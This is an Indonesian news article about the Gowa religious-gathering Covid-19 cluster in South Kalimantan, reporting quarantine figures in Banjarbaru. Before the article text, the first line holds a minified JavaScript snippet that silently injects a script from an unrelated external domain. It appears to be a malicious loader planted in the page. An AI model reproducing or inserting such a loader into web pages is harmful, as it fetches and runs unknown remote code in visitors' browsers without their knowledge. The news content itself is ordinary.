(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Gugus Tugas Percepatan Penanganan Covid-19 menyoroti tingginya angka kasus Covid-19 di Provinsi Kalimantan Selatan (Kalsel). Khusus terkait angka kematian paling banyak ditemukan di kota Banjarmasin.
Menurut Ketua Gugus Tugas Percepatan Penanganan Covid-19 Doni Monardo, penyebab angka kematian kasus Covid-19 di Kalsel adalah orang-orang yang pernah ke Gowa atau yang selama ini disebut klaster Gowa.
Doni yang juga Kepala BNPB mengungkapkan, lebih dari 2.000 warga Kalsel mengikuti kegiatan keagamaan di Kabupaten Gowa, Sulsel, saat itu. Hanya saja, sampai saat ini yang terdaftar melaporkan ke tim gugus tugas daerah cuma ada 900 orang.
“Masih ada ribuan warga Kalsel yang belum melapor ke tim Gugus Tugas daerah atau ke fasilitas kesehatan. Untuk itu saya mengajak masyarakat Kalsel melakukan observasi siapa saja yang dulu pernah mengikuti acara keagamaan di Gowa,” katanya.
Lantas, bagaimana dengan Kota Banjarbaru?
Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Banjarbaru, Rizana Mirza mengungkapkan untuk klaster Gowa di Banjarbaru seluruhnya telah menjalani karantina. Totalnya berkisar hingga mencapai belasan orang.
“Klaster Gowa di Banjarbaru yang terpapar Covid-19, jumlahnya ada sekitar 14 orang. Mereka sudah lama menjalani karantina di gedung Balai Diklat di jalan Ambulung. Ada juga beberapa orang dari mereka yang sudah dinyatakan sembuh,” kata Rizana Mirza.
Sebenarnya, jumlah kluster Gowa di Banjarbaru belum bisa dipastikan. Menurutnya, mungkin saja ada klaster Gowa yang sampai saat ini belum melapor. Namun, pihaknya juga telah lama menerapkan langkah-langkah pendekatan, dengan menggandeng tokoh-tokoh masyarakat di tiap kelurahan.
“Tokoh masyarakat telah meminta warga Banjarbaru yang pernah ke Gowa agar melapor ke kita. Jadi, menurut saya jumlah klaster Gowa di Banjarbaru tidak akan berkembang lagi,” pungkasnya.
Data yang dihimpun Kanalkalimantan.com, awalnya ada 20 lebih warga Banjarbaru -klaster Gowa- ini tengah menjalani karantina di gedung Balai Diklat Pemprov Kalsel, Jalan Ambulung. Mereka dikarantina setelah dinyatakan reaktif dari hasil pemeriksaan rapid test, pada April lalu. Dari 20 orang ini, hasil swab menyatakan ada 8 orang positif terpapar Covid-19. Jumlah ini terus bertambah, setelah adanya klaster Gowa lainnya yang baru melapor. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.